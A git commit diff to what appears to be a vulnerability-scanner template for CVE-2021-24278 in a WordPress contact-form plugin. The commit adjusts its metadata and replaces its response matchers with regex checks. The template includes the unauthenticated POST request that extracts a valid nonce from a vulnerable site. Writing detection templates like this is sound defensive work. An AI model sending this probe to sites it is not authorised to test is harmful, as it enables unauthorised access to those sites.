Added additional matcher

patch-1
sandeep 2021-11-27 10:04:24 +05:30
parent 0595a1dcf1
commit 7345869864
1 changed files with 7 additions and 8 deletions

View File

@ -4,6 +4,7 @@ info:
name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
author: 2rs3c author: 2rs3c
severity: high severity: high
description: In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
reference: reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278
- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413 - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
@ -13,7 +14,6 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5 cvss-score: 7.5
cve-id: CVE-2021-24278 cve-id: CVE-2021-24278
description: "In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function."
requests: requests:
- method: POST - method: POST
@ -25,7 +25,6 @@ requests:
body: "action=wpcf7r_get_nonce&param=wp_rest" body: "action=wpcf7r_get_nonce&param=wp_rest"
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
@ -33,15 +32,15 @@ requests:
status: status:
- 200 - 200
- type: word - type: regex
condition: and
words:
- '"success":true'
part: body part: body
regex:
- '"success":true'
- '"nonce":"[a-f0-9]+"'
condition: and
extractors: extractors:
- type: regex - type: regex
part: body part: body
regex: regex:
- '"nonce":"[a-f0-9]+"' - '"nonce":"[a-f0-9]+"'